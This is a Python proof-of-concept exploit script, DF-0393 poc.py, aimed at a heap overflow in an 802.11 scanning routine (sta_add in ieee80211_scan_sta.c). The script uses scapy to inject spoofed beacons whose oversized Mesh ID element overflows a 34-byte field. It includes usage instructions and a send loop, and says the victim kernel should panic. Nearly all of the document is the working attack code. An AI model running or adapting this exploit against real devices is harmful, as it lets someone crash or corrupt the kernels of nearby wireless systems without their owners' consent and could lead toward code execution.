DF-0393 / poc.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | #!/usr/bin/env python3 """ DF-0393 PoC: Remote heap overflow via oversized Mesh ID IE in ieee80211_scan_sta.c Sends a crafted 802.11 beacon with a Mesh ID IE whose length byte exceeds IEEE80211_MESHID_LEN (32), triggering a memcpy overflow in sta_add() into the fixed-size se_meshid[34] field, corrupting adjacent heap fields. Requires: - A WiFi adapter in monitor + inject mode (e.g. ath9k_htc with airmon-ng) - scapy (pip install scapy) - Root privileges (for raw socket / injection) Usage: sudo python3 poc.py --iface wlan0mon --channel 6 The victim interface must be scanning (background scan or active scan). The beacon is sent on the victim's current channel. """ import argparse import struct import sys try: from scapy.all import ( RadioTap, Dot11, Dot11Beacon, Dot11Elt, sendp, conf ) except ImportError: print("This PoC requires scapy: pip install scapy", file=sys.stderr) sys.exit(1) # IEEE80211_ELEMID_MESHID = 113 (0x71) ELEMID_MESHID = 113 IEEE80211_MESHID_LEN = 32 OVERFLOW_LEN = 200 # meshid[1] = 200 -> copy 202 bytes into 34-byte field def craft_overflow_beacon(src_mac, dst_mac="ff:ff:ff:ff:ff:ff", ssid="CVE"): """Build a beacon with an oversized Mesh ID IE to overflow se_meshid[34].""" # Valid fixed fields beacon = ( RadioTap() / Dot11(type=0, subtype=8, addr1=dst_mac, addr2=src_mac, addr3=src_mac) / Dot11Beacon(cap=0x2104) / # ESS + Privacy Dot11Elt(ID="SSID", info=ssid) / Dot11Elt(ID="Rates", info=b"\x82\x84\x8b\x96") / Dot11Elt(ID="DSset", info=struct.pack("B", 6)) ) # Oversized Mesh ID IE: ELEMID=113, LEN=200, DATA=200 bytes of 'A' meshid_overflow = struct.pack("BB", ELEMID_MESHID, OVERFLOW_LEN) + b"A" * OVERFLOW_LEN beacon = beacon / Dot11Elt(ID=255, info=meshid_overflow) # Actually scapy's Dot11Elt doesn't handle arbitrary element IDs well. # Build it raw instead: raw_payload = beacon.getlayer(Dot11Beacon).payload # Rebuild: SSID + Rates + DSset + oversized MeshID ssid_ie = struct.pack("BB", 0, len(ssid)) + ssid.encode() rates_ie = struct.pack("BB", 1, 4) + b"\x82\x84\x8b\x96" ds_ie = struct.pack("BB", 3, 1) + struct.pack("B", 6) # The overflow payload: 'B' * 100 as pointer-like bytes in second half overflow_data = b"A" * 34 + b"B" * (OVERFLOW_LEN - 34) meshid_ie = struct.pack("BB", ELEMID_MESHID, OVERFLOW_LEN) + overflow_data raw_frame = ( RadioTap() / Dot11(type=0, subtype=8, addr1=dst_mac, addr2=src_mac, addr3=src_mac) / Dot11Beacon(cap=0x2104) ) # Append raw IEs raw_frame = bytes(raw_frame) + ssid_ie + rates_ie + ds_ie + meshid_ie return raw_frame def main(): parser = argparse.ArgumentParser(description="DF-0393 PoC: Mesh ID heap overflow") parser.add_argument("--iface", required=True, help="Monitor mode interface") parser.add_argument("--src-mac", default="00:11:22:33:44:55", help="Source MAC (spoofed AP)") parser.add_argument("--count", type=int, default=100, help="Number of beacons to send") parser.add_argument("--interval", type=float, default=0.01, help="Seconds between beacons") args = parser.parse_args() print(f"[*] DF-0393: Mesh ID heap overflow PoC") print(f"[*] Interface: {args.iface}") print(f"[*] Overflow: {OVERFLOW_LEN} bytes into se_meshid[34]") print(f"[*] Sending {args.count} crafted beacons...") frame = craft_overflow_beacon(args.src_mac) conf.iface = args.iface for i in range(args.count): sendp(frame, iface=args.iface, verbose=0) if i % 10 == 0: print(f" Sent {i+1}/{args.count} beacons") print(f"[+] Done. Victim kernel should panic if scanning on this channel.") if __name__ == "__main__": main() |